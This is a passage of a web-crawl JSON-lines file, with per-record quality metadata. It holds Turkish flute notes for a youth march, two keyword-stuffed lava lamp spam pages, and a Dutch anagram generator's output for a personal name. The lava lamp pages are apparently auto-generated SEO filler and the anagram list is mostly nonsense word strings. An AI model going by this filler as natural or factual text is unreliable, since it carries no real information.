0.010260277427732944}","num_words":161,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.213,"stopwords_ratio":0.019,"flagged_words_ratio":0.0,"lang_id_score":0.408,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"Gençlik Marşı flüt Notaları Gençlik Marşı flüt Notaları Gençlik Marşının notaları do sol sol la sol fa sol mimi sol la fa mi fa re dosol do si do si la si la sola si la sol la re re sol (sol la sol fa mi re) NAKARATdo do re mi sol do do re misol i.do si la sol re do(d) re mi rere re mi fa la re do(d) re mi fala re do si la sol sol la si do do do do not parantezli olan yer (sol la sol fa mi re) tral la la la la bölümüdür karıştırmayın.","id":"","dump":"CC-MAIN-2018-34","url":"http:\/\/arabulogren.com\/5n1k\/1185-genclik-mars-fluet-notalar?tmpl=component&print=1&page=","date":"2018-08-18T15:56:11Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-34\/segments\/1534221213691.59\/warc\/CC-MAIN-20180818154147-20180818174147-00006.warc.gz","language":"mmx","language_score":0.397221297,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"mmx_Latn_score\": 0.39722129702568054, \"wol_Latn_score\": 0.1266937404870987, \"wln_Latn_score\": 0.08642947673797607, \"lmo_Latn_score\": 0.07845009118318558, \"tur_Latn_score\": 0.02664892002940178, \"oci_Latn_score\": 0.022145910188555717, \"rcf_Latn_score\": 0.021516013890504837, \"pcm_Latn_score\": 0.02094418741762638, \"jbo_Latn_score\": 0.016545230522751808, \"ckm_Latn_score\": 0.01638147421181202, \"ury_Latn_score\": 0.015582076273858547, \"sim_Latn_score\": 0.014101956970989704, \"vec_Latn_score\": 0.013714372180402279, \"fur_Latn_score\": 0.013521162793040276, \"leu_Latn_score\": 0.011254667304456234}","num_words":103,"character_repetition_ratio":0.114,"word_repetition_ratio":0.0,"special_characters_ratio":0.279,"stopwords_ratio":0.33,"flagged_words_ratio":0.0,"lang_id_score":0.322,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"red lava lamp mini motion lamp red lava lamp argos.\nred lava lamp lava lamp yellow red retro lava light lava red lava lamp ebay.\nred lava lamp lava lamp red pink and purple large table centre 2 event prop hire wonderful red lava lamp ebay.\nred lava lamp q how do i set up and assemble my lamp red lava lamps for sale.\nred lava lamp red lava lamp red lava lamp ebay.\nred lava lamp red lava lamp photography stock photo red lava lamp uk.\nred lava lamp photo 1 of orange lava lamp superior lava lamp red and black design ideas 1 red lava lamp walmart.\nred lava lamp mid size silver base lava lamp with purple red lava combo loading zoom red lava lamp walmart.\nred lava lamp small silver base lava lamp with red lava loading zoom red lava lamp argos.\nred lava lamp red lava lamp photography red lava lamp walmart.\nred lava lamp lava lamp chrome red red lava lamps for sale.\nred lava lamp red lava lamp amazon.\nred lava lamp lava lamp bottle violet red red lava lamp walmart.\nred lava lamp metallic red lava lamp on red lava lamps for sale.\nred lava lamp lava lamp the original violet red red lava lamp argos.\nred lava lamp how to make a lava lamp red lava lamp youtube.\nred lava lamp rare lava lamp retro lantern brass copper red lava coach light handle red lava lamps for sale.\nred lava lamp photo 5 of pk green superior lava lamp red 6 red lava lamp youtube.\nred lava lamp china inch mini rocket lava lamp red lava lamp ebay.\nred lava lamp close up orange lava lamp red lava lamp ebay.\nred lava lamp download red lava lamp photography stock photo image of retro red lava lamp video.\nred lava lamp retro red rocket lamp a red lava lamp video.\nred lava lamp red and blue lava lamp red lava lamp youtube.\nred lava lamp animated loop ready file of a lava lamp the file contains an alpha channel royalty free stock video red lava lamp ebay.\nred lava lamp image everybody loves lava lamps red lava lamp ebay.\nred lava lamp ts heart lava lamp red red lava lamp argos.\nred lava lamp lava lamp data photo 1 red lava lamp walmart.\nred lava lamp from lava lamp 1 red lava lamp uk.\nred lava lamp the love lava lamp memorabilia red lava lamp black base.\nred lava lamp red on total black background stock footage clip red lava lamp uk.\nred lava lamp although the originals came out in the mid this one dates to the i can never pass on a good lava lamp red lava lamp video.\nred lava lamp uploaded 1 year ago red lava lamp black base.\nred lava lamp red lava lamps for sale.\nred lava lamp lava lamp by lamp psychedelic hippy seventies red lava lamps for sale.\nred lava lamp photograph of a retro red lava lamp red lava lamp black base.\nred lava lamp red lava lamp photography red lava lamp amazon.\nred lava lamp silver base rocket lava lamp red wax purple liquid red lava lamp amazon.\nred lava lamp superman lava lamp red lava lamps for sale.\nred lava lamp lava lite inch red yellow lava lamp red yellow red lava lamp youtube.\nred lava lamp tall red lamp red tall lamp s s tall red lava lamp red tall lamp tall red floor lamps red lava lamp black base.\nred lava lamp cool lava lamps for sale red lava lamp who knew my parents where cool red lava lamp youtube.","id":"","dump":"CC-MAIN-2018-34","url":"http:\/\/rostur.org\/red-lava-lamp\/","date":"2018-08-15T17:06:18Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-34\/segments\/1534221210243.28\/warc\/CC-MAIN-20180815161419-20180815181419-00131.warc.gz","language":"mmx","language_score":0.3594617248,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"mmx_Latn_score\": 0.3594617247581482, \"gom_Latn_score\": 0.09504228830337524, \"wol_Latn_score\": 0.07842028141021729, \"eng_Latn_score\": 0.06176158785820007, \"mmo_Latn_score\": 0.052444230765104294, \"bvz_Latn_score\": 0.04499482735991478, \"pcm_Latn_score\": 0.04031195119023323, \"wrs_Latn_score\": 0.0360737144947052, \"hat_Latn_score\": 0.022695248946547508, \"mos_Latn_score\": 0.017623387277126312, \"mfe_Latn_score\": 0.013023633509874344, \"cbk_Latn_score\": 0.012767094187438488, \"frp_Latn_score\": 0.010673112235963345}","num_words":603,"character_repetition_ratio":0.314,"word_repetition_ratio":0.024,"special_characters_ratio":0.21,"stopwords_ratio":0.005,"flagged_words_ratio":0.0,"lang_id_score":0.359,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"alien lava lamp hippie groovy weird blue lava lamp view more on the link alien lava lamp bulb.\nalien lava lamp alien lava lamp sketch by alien lava lamp spencers.\nalien lava lamp i accept best offers alien lava lamp x files rare alien lava lamp bulb.\nalien lava lamp photo 5 of features of alien lava lamp good alien lava lamp 5 xemu xeno alien embryo lava lamp.\nalien lava lamp galactic icon series alien fetus lava lamp.\nalien lava lamp alien head lava lamp with dimmer switch a large alien head lava lamp.\nalien lava lamp lamp alien lava lamp spencers.\nalien lava lamp lava lamp bong photo 7 xemu xeno alien lava lamp.\nalien lava lamp star wars light led death star table lamp light alien lava lamp trek star wars nightlight baby kids in night lights from lights alien lava lamp spencers.\nalien lava lamp alien lava lamp xemu xeno alien embryo lava lamp.\nalien lava lamp full image for lava lamps for sale in cape town cool lava lamps for sale lava xemu xeno alien embryo lava lamp.\nalien lava lamp alien embryo lava lamp preserved alien gray rare nice condition movie alien drinks lava lamp.\nalien lava lamp alien lava lamp discontinued alien lava lamp bulb.\nalien lava lamp novelty light lamp led death star table lamp building light alien lava lamp trek alien head lava lamp.\nalien lava lamp lava lamp lights 2 alien head lava lamp.\nalien lava lamp one of a kind modern futuristic alien containment unit disguised as a lamp xemu xeno alien lava lamp.\nalien lava lamp silver groovy lava lamp xemu xeno alien lava lamp.\nalien lava lamp alien head hologram illusion unique lamp acrylic night light with touch switch lava lamp changing gift alien fetus lava lamp.\nalien lava lamp lava lamps alien lava lamp bulb.\nalien lava lamp extra area alien lava lamp alien head lava lamp.\nalien lava lamp novelty light led death star table lamp light alien lava lamp trek alien lava lamp spencers.\nalien lava lamp free shipping novelty light led death star table lamp light alien lava lamp alien head lava lamp.\nalien lava lamp cool green lava lamps xemu xeno alien lava lamp.\nalien lava lamp photo 3 of so our lava lamp harboured an alien demon baby last night ordinary alien lava movie alien drinks lava lamp.\nalien lava lamp free shipping novelty light led death star table lamp light alien lava lamp xemu xeno alien lava lamp.\nalien lava lamp tbs lava lamp by alien lava lamp bong.\nalien lava lamp star wars light led death star table lamp light alien lava lamp trek star wars nightlight baby kids movie alien drinks lava lamp.\nalien lava lamp lava floor lamp throughout xemu xeno alien embryo lava lamp.\nalien lava lamp alien abduction lamp photo 6 alien fetus lava lamp.\nalien lava lamp novelty light lamp led death star table lamp building light alien lava lamp trek alien fetus lava lamp.\nalien lava lamp photo 8 of alien lava lamp groovy lava lamps groovy lava lamps superb alien lava lamp alien lava lamp bong.\nalien lava lamp new green liquid and white wax alien lava lamp retro oz motion light alien lava lamp bong.\nalien lava lamp preserved alien embryo lamp light grey baby lava prop alien lava lamp bong.\nalien lava lamp alien lava lamp alien fetus lava lamp.\nalien lava lamp movie alien drinks lava lamp.\nalien lava lamp i had this exact alien lava lamp it was my favorite of the 5 lava alien head lava lamp.\nalien lava lamp see larger image xemu xeno alien lava lamp.\nalien lava lamp twin column green lava lamp alien fetus lava lamp.\nalien lava lamp lava lamp glass bottle replacement alien lava lamp bong.\nalien lava lamp its a lava lamp it has personality alien lava lamp bong.\nalien lava lamp custom lava lamp light made of resin alien lava lamp bong.\nalien lava lamp longitudinal lava lamp free story xemu xeno alien lava lamp.\nalien lava lamp alien lava lamp bulb.\nalien lava lamp cow getting abducted by aliens lamp alien lava lamp bong.\nalien lava lamp ideal possible replacement or companion in a lamp xemu xeno alien lava lamp.\nalien lava lamp i had this exact alien lava lamp it was my favorite of the 5 lava lamps that i owned at the time alien lava lamp spencers.\nalien lava lamp lava lamps amazon lava lamp bulb lava lamp alien head lava lamp.\nalien lava lamp vintage large alien lava lamp bulb.\nalien lava lamp free shipping novelty light led death star table lamp light alien lava lamp xemu xeno alien embryo lava lamp.\nalien lava lamp photo 9 of amazing alien lava lamp 9 new green liquid and white wax alien lava lamp alien head lava lamp.\nalien lava lamp good plasma lava lamp photo with lava lamps for sale xemu xeno alien embryo lava lamp.\nalien lava lamp ancient moon rocks vital clue in space dynamo study alien lava lamp bulb.\nalien lava lamp alien abduction lamp alien fetus lava lamp.\nalien lava lamp alien invades the lava lamp alien lava lamp bong.\nalien lava lamp alien lava lamp spencers.\nalien lava lamp xemu xeno alien lava lamp.\nalien lava lamp inspiring cool lava lamps for sale with additional interior designing home ideas with cool lava alien lava lamp bong.\nalien lava lamp photo 2 of full image for lava lamps for sale lava lamps for sale at alien lava xemu xeno alien embryo lava lamp.\nalien lava lamp alien large lava lamp movie alien drinks lava lamp.\nalien lava lamp lava lamps xemu xeno alien embryo lava lamp.\nalien lava lamp giant lava lamp twin column lava lamp green red glow motion double alien lava lamp bulb.\nalien lava lamp novelty light led death star table lamp light alien lava lamp trek star wars night light baby kids alien lava lamp bong.\nalien lava lamp alien lava lamp photo 8 alien head lava lamp.\nalien lava lamp alien lamp photo 6 alien lava lamp bulb.\nalien lava lamp large alien head lava lamp green with dimmer excellent condition free shipping xemu xeno alien embryo lava lamp.\nalien lava lamp ultimate alien glitter lamp xemu xeno alien embryo lava lamp.\nalien lava lamp alien abduction lamp xemu xeno alien lava lamp.\nalien lava lamp lava lamp tower lava lamp lava lamp review lava lamp giant lava lamp tower alien lava lamp spencers.\nalien lava lamp rare lav alien space alien lava lamp icon series lava world int alien lava lamp bulb.\nalien lava lamp alien lava lamp photo 9 alien fetus lava lamp.\nalien lava lamp lovely lava lamp black for giant lava lamp black yellow tall floor lamps office retro decor alien head lava lamp.\nalien lava lamp alien con google alien lava lamp bulb.\nalien lava lamp photo of alien embryo lava lamp preserved alien for sale in long with regard to alien alien lava lamp bulb.\nalien lava lamp innovative novelty light led death star table lamp light alien lava lamp trek star wars night light with alien fetus lava lamp.\nalien lava lamp space ship troll doll and lava lamp image alien trolls alien lava lamp bulb.\nalien lava lamp how to make a lava lamp alien fetus lava lamp.\nalien lava lamp all posts tagged alien lava lamp alien lava lamp spencers.\nalien lava lamp novelty light lamp led death star table lamp building light alien lava lamp trek alien lava lamp bong.","id":"","dump":"CC-MAIN-2018-34","url":"http:\/\/subwaysurfershack.club\/alien-lava-lamp\/","date":"2018-08-14T19:50:56Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-34\/segments\/1534221209562.5\/warc\/CC-MAIN-20180814185903-20180814205903-00092.warc.gz","language":"mmx","language_score":0.5972713232,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"mmx_Latn_score\": 0.5972713232040405, \"eng_Latn_score\": 0.0739712119102478, \"mfe_Latn_score\": 0.04154738038778305, \"wol_Latn_score\": 0.029252255335450172, \"gom_Latn_score\": 0.022596217691898346, \"hat_Latn_score\": 0.015589077025651932, \"ptp_Latn_score\": 0.011875412426888943}","num_words":1248,"character_repetition_ratio":0.344,"word_repetition_ratio":0.134,"special_characters_ratio":0.194,"stopwords_ratio":0.005,"flagged_words_ratio":0.0,"lang_id_score":0.597,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"Anagrammen Generator Invoer Van welke invoer wil je een anagram Woord Optioneel: een woord dat in het anagram moet zitten Zoek Anagrammen! Anagrammen van paulien van deutekom met het woord 'mikado' mikado avenue tulpen mikado apneu een vult mikado apneu ene vult mikado apneu nee vult mikado apneu leun vet mikado apen euvel nut mikado apneu nut veel mikado apneu leve nut mikado apneu nut vele mikado nut peul venae mikado apneu leut ven mikado apneu tule ven mikado leun taupe ven mikado apneu even tul mikado apneu tul veen mikado euvel pan tune mikado euvel neut pan mikado euvel nap tune mikado euvel nap neut mikado apneu tune vel mikado apneu neut vel mikado peul tenue van mikado leun put venae mikado apneu leen vut mikado apneu nul vete mikado even nul taupe mikado nul taupe veen mikado nul peut venae mikado pul tune venae mikado neut pul venae mikado plu tune venae mikado neut plu venae mikado apneu teen vul mikado apneu neet vul mikado apneu eten vul mikado enen taupe vul mikado enne taupe vul mikado neen taupe vul mikado apen tenue vul mikado avenue ent pul mikado avenue ent plu mikado avenue net pul mikado avenue net plu mikado avenue pul ten mikado avenue plu ten mikado pee ulanen vut mikado put ulanen vee mikado avenue nul pet mikado eva nut peulen mikado eva leunen put mikado eva nul peuten mikado eva neuten pul mikado eva neuten plu mikado avenue nel put mikado avenue lep nut mikado avenue nut pel mikado euvele nut pan mikado euvele nap nut mikado avenue nep tul mikado avenue pen tul mikado euvelen na put mikado euvelen pan ut mikado euvelen nap ut mikado au nel veenput mikado au nevelen put mikado euvelen nut pa mikado euvelen nu tap mikado euvelen nu pat mikado epaulet nu ven mikado euvelen nat up mikado avenue en tulp mikado avenue el punt mikado leuven na peut mikado na peut veulen mikado euvele na punt mikado apen leuven ut mikado apen ut veulen mikado peul ut vaneen mikado au teen vulpen mikado au neet vulpen mikado au eten vulpen mikado au even tulpen mikado au tulpen veen mikado au leuven pent mikado au pent veulen mikado au leuven nept mikado au nept veulen mikado au peulen vent mikado au punten veel mikado au leve punten mikado au punten vele mikado au peul venten mikado leuven pa tune mikado pa tune veulen mikado leuven neut pa mikado neut pa veulen mikado leuven nu pate mikado nu pate veulen mikado leuven nu tape mikado nu tape veulen mikado nu pene vuelta mikado epen nu vuelta mikado neep nu vuelta mikado nu peen vuelta mikado avenue lept nu mikado avenue nu plet mikado avenue nu pelt mikado nu peuten vale mikado nu peuten vela mikado aten leuven up mikado aten up veulen mikado ante leuven up mikado ante up veulen mikado enen up vuelta mikado enne up vuelta mikado neen up vuelta mikado ulanen up vete mikado leut up vaneen mikado tule up vaneen mikado neuten up vale mikado neuten up vela mikado euvel panen ut mikado euvel panne ut mikado apneu elven ut mikado apneu ut velen mikado apneu leven ut mikado apneu nevel ut mikado euvel nu tapen mikado apneu nu veelt mikado apneu nu vleet mikado elven nu taupe mikado nu taupe velen mikado leven nu taupe mikado nevel nu taupe mikado anten euvel up mikado euvel tanen up mikado navel tenue up mikado laven tenue up mikado leute naven up mikado leute up vanen mikado lunet up venae mikado tulen up venae mikado leunt up venae mikado een eva nut pul mikado een eva nut plu mikado een eva nul put mikado ene eva nut pul mikado ene eva nut plu mikado ene eva nul put mikado eva nee nut pul mikado eva nee nut plu mikado eva nee nul put mikado eva nul nut pee mikado en eva nut peul mikado en eva leun put mikado en eva nul peut mikado en eva pul tune mikado en eva neut pul mikado en eva plu tune mikado en eva neut plu mikado een na peul vut mikado een na peut vul mikado ene na peul vut mikado ene na peut vul mikado na nee peul vut mikado na nee peut vul mikado leun na pee vut mikado na pee tune vul mikado na neut pee vul mikado na nut peul vee mikado leun na put vee mikado na nul peut vee mikado na pul tune vee mikado na neut pul vee mikado na plu tune vee mikado na neut plu vee mikado een peul ut van mikado apen een ut vul mikado ene peul ut van mikado apen ene ut vul mikado nee peul ut van mikado apen nee ut vul mikado leun pee ut van mikado leun pan ut vee mikado leun nap ut vee mikado apen nul ut vee mikado eva leun nep ut mikado eva leun pen ut mikado eva nul pene ut mikado epen eva nul ut mikado eva neep nul ut mikado eva nul peen ut mikado enen eva pul ut mikado enne eva pul ut mikado eva neen pul ut mikado enen eva plu ut mikado enne eva plu ut mikado eva neen plu ut mikado au een nep vult mikado au een pen vult mikado au een tulp ven mikado au een punt vel mikado au een pul vent mikado au een plu vent mikado au een pent vul mikado au een nept vul mikado au ene nep vult mikado au ene pen vult mikado au ene tulp ven mikado au ene punt vel mikado au ene pul vent mikado au ene plu vent mikado au ene pent vul mikado au ene nept vul mikado au nee nep vult mikado au nee pen vult mikado au nee tulp ven mikado au nee punt vel mikado au nee pul vent mikado au nee plu vent mikado au nee pent vul mikado au nee nept vul mikado au ent peul ven mikado au ent even pul mikado au ent pul veen mikado au ent even plu mikado au ent plu veen mikado au ent pene vul mikado au ent epen vul mikado au ent neep vul mikado au ent peen vul mikado au net peul ven mikado au even net pul mikado au net pul veen mikado au even net plu mikado au net plu veen mikado au net pene vul mikado au epen net vul mikado au neep net vul mikado au net peen vul mikado au peul ten ven mikado au even pul ten mikado au pul ten veen mikado au even plu ten mikado au plu ten veen mikado au pene ten vul mikado au epen ten vul mikado au neep ten vul mikado au peen ten vul mikado au nul pee vent mikado au nel punt vee mikado au nul pent vee mikado au nept nul vee mikado au leun pet ven mikado au even nul pet mikado au nul pet veen mikado au enen pet vul mikado au enne pet vul mikado au neen pet vul mikado au leun nep vet mikado au leun pen vet mikado au nul pene vet mikado au epen nul vet mikado au neep nul vet mikado au nul peen vet mikado au enen pul vet mikado au enne pul vet mikado au neen pul vet mikado au enen plu vet mikado au enne plu vet mikado au neen plu vet mikado au nel peut ven mikado au even nel put mikado au nel put veen mikado au nel pene vut mikado au epen nel vut mikado au neep nel vut mikado au nel peen vut mikado au nep nut veel mikado au leve nep nut mikado au nep nut vele mikado au nut pen veel mikado au leve nut pen mikado au nut pen vele mikado au nut peel ven mikado au nut plee ven mikado au leep nut ven mikado au lepe nut ven mikado au even lep nut mikado au lep nut veen mikado au even nut pel mikado au nut pel veen mikado au nut pene vel mikado au epen nut vel mikado au neep nut vel mikado au nut peen vel mikado au leut nep ven mikado au nep tule ven mikado au even nep tul mikado au nep tul veen mikado au nep tune vel mikado au nep neut vel mikado au leen nep vut mikado au nep nul vete mikado au nep teen vul mikado au neet nep vul mikado au eten nep vul mikado au leut pen ven mikado au pen tule ven mikado au even pen tul mikado au pen tul veen mikado au pen tune vel mikado au neut pen vel mikado au leen pen vut mikado au nul pen vete mikado au pen teen vul mikado au neet pen vul mikado au eten pen vul mikado au pene tul ven mikado au epen tul ven mikado au neep tul ven mikado au peen tul ven mikado au lep tune ven mikado au lep neut ven mikado au pel tune ven mikado au neut pel ven mikado au leen put ven mikado au nul peet ven mikado au pul teen ven mikado au neet pul ven mikado au eten pul ven mikado au plu teen ven mikado au neet plu ven mikado au eten plu ven mikado au enen lep vut mikado au enne lep vut mikado au lep neen vut mikado au enen pel vut mikado au enne pel vut mikado au neen pel vut mikado au enen put vel mikado au enne put vel mikado au neen put vel mikado een leun pa vut mikado een pa tune vul mikado een neut pa vul mikado ene leun pa vut mikado ene pa tune vul mikado ene neut pa vul mikado leun nee pa vut mikado nee pa tune vul mikado nee neut pa vul mikado leun nut pa vee mikado nul pa tune vee mikado neut nul pa vee mikado eet nu peul van mikado apen eet nu vul mikado een eva nu tulp mikado een nu peul vat mikado een nu put vale mikado een nu put vela mikado een nu peut val mikado een nu peut vla mikado een nu pate vul mikado een nu tape vul mikado ene eva nu tulp mikado ene nu peul vat mikado ene nu put vale mikado ene nu put vela mikado ene nu peut val mikado ene nu peut vla mikado ene nu pate vul mikado ene nu tape vul mikado eva nee nu tulp mikado nee nu peul vat mikado nee nu put vale mikado nee nu put vela mikado nee nu peut val mikado nee nu peut vla mikado nee nu pate vul mikado nee nu tape vul mikado ent eva nu peul mikado eva net nu peul mikado eva nu peul ten mikado nat nu peul vee mikado leun nu pee vat mikado nu nut pee vale mikado nu nut pee vela mikado leut nu pee van mikado nu pee tule van mikado alen nu pee vut mikado elan nu pee vut mikado nu pee tune val mikado neut nu pee val mikado nu pee tune vla mikado neut nu pee vla mikado aten nu pee vul mikado ante nu pee vul mikado leun nu tap vee mikado leun nu pat vee mikado apen nu tul vee mikado leut nu pan vee mikado nu pan tule vee mikado leut nap nu vee mikado nap nu tule vee mikado alen nu put vee mikado elan nu put vee mikado nu pal tune vee mikado neut nu pal vee mikado lap nu tune vee mikado lap neut nu vee mikado alp nu tune vee mikado alp neut nu vee mikado nu nul pate vee mikado nu nul tape vee mikado aten nu pul vee mikado ante nu pul vee mikado aten nu plu vee mikado ante nu plu vee mikado eva leun nu pet mikado eva nel nu peut mikado eva nu nut peel mikado eva nu nut plee mikado eva leep nu nut mikado eva lepe nu nut mikado eva leut nep nu mikado eva nep nu tule mikado eva leut nu pen mikado eva nu pen tule mikado eva nu pene tul mikado epen eva nu tul mikado eva neep nu tul mikado eva nu peen tul mikado eva lep nu tune mikado eva lep neut nu mikado eva nu pel tune mikado eva neut nu pel mikado eva leen nu put mikado eva nu nul peet mikado eva nu pul teen mikado eva neet nu pul mikado eten eva nu pul mikado eva nu plu teen mikado eva neet nu plu mikado eten eva nu plu mikado eet leun up van mikado een leun up vat mikado een nut up vale mikado een nut up vela mikado een leut up van mikado een tule up van mikado alen een up vut mikado een elan up vut mikado een tune up val mikado een neut up val mikado een tune up vla mikado een neut up vla mikado aten een up vul mikado ante een up vul mikado ene leun up vat mikado ene nut up vale mikado ene nut up vela mikado ene leut up van mikado ene tule up van mikado alen ene up vut mikado elan ene up vut mikado ene tune up val mikado ene neut up val mikado ene tune up vla mikado ene neut up vla mikado aten ene up vul mikado ante ene up vul mikado leun nee up vat mikado nee nut up vale mikado nee nut up vela mikado leut nee up van mikado nee tule up van mikado alen nee up vut mikado elan nee up vut mikado nee tune up val mikado nee neut up val mikado nee tune up vla mikado nee neut up vla mikado aten nee up vul mikado ante nee up vul mikado ent eva leun up mikado eva leun net up mikado eva leun ten up mikado leun nat up vee mikado alen nut up vee mikado elan nut up vee mikado aten nul up vee mikado ante nul up vee mikado eva nel tune up mikado eva nel neut up mikado eva leen nut up mikado enen eva tul up mikado enne eva tul up mikado eva neen tul up mikado eva nul teen up mikado eva neet nul up mikado eten eva nul up mikado at even nu peul mikado at nu peul veen mikado at even leun up mikado at leun up veen mikado au en pene vult mikado au en epen vult mikado au en neep vult mikado au en peen vult mikado au en even tulp mikado au en tulp veen mikado au en peul vent mikado au en punt veel mikado au en leve punt mikado au en punt vele mikado en nu peut vale mikado en nu peut vela mikado en tune up vale mikado en tune up vela mikado en neut up vale mikado en neut up vela mikado au el even punt mikado au el punt veen mikado even na peul ut mikado na peul ut veen mikado na nu peul vete mikado na nu peut veel mikado leve na nu peut mikado na nu peut vele mikado leun na up vete mikado na tune up veel mikado leve na tune up mikado na tune up vele mikado na neut up veel mikado leve na neut up mikado na neut up vele mikado even leut na up mikado even na tule up mikado leut na up veen mikado na tule up veen mikado even leun pa ut mikado leun pa ut veen mikado nu pene ut vale mikado nu pene ut vela mikado epen nu ut vale mikado epen nu ut vela mikado neep nu ut vale mikado neep nu ut vela mikado nu peen ut vale mikado nu peen ut vela mikado apen nu ut veel mikado apen leve nu ut mikado apen nu ut vele mikado enen up ut vale mikado enen up ut vela mikado enne up ut vale mikado enne up ut vela mikado neen up ut vale mikado neen up ut vela mikado alen even up ut mikado elan even up ut mikado alen up ut veen mikado elan up ut veen mikado al even nu peut mikado al nu peut veen mikado al even tune up mikado al tune up veen mikado al even neut up mikado al neut up veen mikado even la nu peut mikado la nu peut veen mikado even la tune up mikado la tune up veen mikado even la neut up mikado la neut up veen mikado au nu pene vlet mikado au nu pene velt mikado au epen nu vlet mikado au epen nu velt mikado au neep nu vlet mikado au neep nu velt mikado au nu peen vlet mikado au nu peen velt mikado au even lept nu mikado au even nu plet mikado au even nu pelt mikado au lept nu veen mikado au nu plet veen mikado au nu pelt veen mikado au nu pent veel mikado au leve nu pent mikado au nu pent vele mikado au nept nu veel mikado au leve nept nu mikado au nept nu vele mikado au nu peel vent mikado au nu plee vent mikado au leep nu vent mikado au lepe nu vent mikado au enen up vlet mikado au enen up velt mikado au enne up vlet mikado au enne up velt mikado au neen up vlet mikado au neen up velt mikado au leen up vent mikado leun nu pa vete mikado nu pa tune veel mikado leve nu pa tune mikado nu pa tune vele mikado neut nu pa veel mikado leve neut nu pa mikado neut nu pa vele mikado even leut nu pa mikado even nu pa tule mikado leut nu pa veen mikado nu pa tule veen mikado nu nu peet vale mikado nu nu peet vela mikado nu nu pate veel mikado leve nu nu pate mikado nu nu pate vele mikado nu nu tape veel mikado leve nu nu tape mikado nu nu tape vele mikado nu teen up vale mikado nu teen up vela mikado neet nu up vale mikado neet nu up vela mikado eten nu up vale mikado eten nu up vela mikado aten nu up veel mikado aten leve nu up mikado aten nu up vele mikado ante nu up veel mikado ante leve nu up mikado ante nu up vele mikado alen nu up vete mikado elan nu up vete mikado even nu tael up mikado nu tael up veen mikado even late nu up mikado late nu up veen mikado apneu en te vul mikado au neven pul te mikado au pul te venen mikado au neven plu te mikado au plu te venen mikado au nepen te vul mikado au penen te vul mikado euvel nu pan te mikado euvel nap nu te mikado apneu nu te vel mikado nu pul te venae mikado nu plu te venae mikado nul te up venae mikado at euvel nep nu mikado at euvel nu pen mikado at nu peeen vul mikado en en taupe vul mikado apneu el en vut mikado en euvel na put mikado en euvel pan ut mikado en euvel nap ut mikado apneu en ut vel mikado en pul ut venae mikado en plu ut venae mikado au elven en put mikado au en put velen mikado au en leven put mikado au en nevel put mikado au en pelen vut mikado au en pul teven mikado au en pul veten mikado au en plu teven mikado au en plu veten mikado au en peten vul mikado au en nepte vul mikado en euvel nut pa mikado en pa tenue vul mikado en euvel nu tap mikado en euvel nu pat mikado en nu taupe vel mikado en euvel nat up mikado en eva lunet up mikado en eva tulen up mikado en eva leunt up mikado en tul up venae mikado en leute up van mikado en tenue up val mikado en tenue up vla mikado en teaen up vul mikado apneu el ut ven mikado au el neven put mikado au el put venen mikado au el nepen vut mikado au el penen vut mikado apneu el nu vet mikado el nu taupe ven mikado el nu put venae mikado el nut up venae mikado el tenue up van mikado euvel na nep ut mikado euvel na pen ut mikado na peeen ut vul mikado euvel na nu pet mikado elpee na nu vut mikado ent euvel na up mikado euvel na net up mikado euvel na ten up mikado lunet na up vee mikado na tulen up vee mikado leunt na up vee mikado leute na up ven mikado na tenue up vel mikado au elven nep ut mikado au nep ut velen mikado au leven nep ut mikado au nep nevel ut mikado au elven pen ut mikado au pen ut velen mikado au leven pen ut mikado au nevel pen ut mikado au pelen ut ven mikado au lep neven ut mikado au lep ut venen mikado au neven pel ut mikado au pel ut venen mikado au nepen ut vel mikado au penen ut vel mikado navel nu pee ut mikado laven nu pee ut mikado nu palen ut vee mikado nu panel ut vee mikado nu plane ut vee mikado alpen nu ut vee mikado eva nu pelen ut mikado lep nu ut venae mikado nu pel ut venae mikado elpee nu ut van mikado nu peeen ut val mikado nu peeen ut vla mikado een navel up ut mikado een laven up ut mikado ene navel up ut mikado ene laven up ut mikado navel nee up ut mikado laven nee up ut mikado lanen up ut vee mikado eva lenen up ut mikado nel up ut venae mikado al nu peeen vut mikado al tenue up ven mikado la nu peeen vut mikado la tenue up ven mikado au elven nu pet mikado au nu pet velen mikado au leven nu pet mikado au nevel nu pet mikado au nu pelen vet mikado au nep nu veelt mikado au nep nu vleet mikado au nu pen veelt mikado au nu pen vleet mikado au nu pleet ven mikado au nu peelt ven mikado au nu tepel ven mikado au lepte nu ven mikado au lep nu teven mikado au lep nu veten mikado au nu pel teven mikado au nu pel veten mikado au nu peten vel mikado au nepte nu vel mikado au elven ent up mikado au ent up velen mikado au ent leven up mikado au ent nevel up mikado au elven net up mikado au net up velen mikado au leven net up mikado au net nevel up mikado au elven ten up mikado au ten up velen mikado au leven ten up mikado au nevel ten up mikado au let neven up mikado au let up venen mikado au neven tel up mikado au tel up venen mikado au lenen up vet mikado au nel teven up mikado au nel up veten mikado au netel up ven mikado au lente up ven mikado au telen up ven mikado au leent up ven mikado au enten up vel mikado au tenen up vel mikado au neten up vel mikado ent euvel nu pa mikado euvel net nu pa mikado euvel nu pa ten mikado lunet nu pa vee mikado nu pa tulen vee mikado leunt nu pa vee mikado leute nu pa ven mikado nu pa tenue vel mikado lavet nu nu pee mikado nu nu palet vee mikado lapte nu nu vee mikado eva nu nu pleet mikado eva nu nu peelt mikado eva nu nu tepel mikado eva lepte nu nu mikado elpee nu nu vat mikado eet navel nu up mikado eet laven nu up mikado een lavet nu up mikado ene lavet nu up mikado lavet nee nu up mikado let nu up venae mikado nu tel up venae mikado alten nu up vee mikado nu talen up vee mikado laten nu up vee mikado natel nu up vee mikado eva netel nu up mikado eva lente nu up mikado eva nu telen up mikado eva leent nu up mikado nu teaen up vel Anagrammen van paulien van deutekom met mikado - Anagrammen.com Anagrammen.com Home 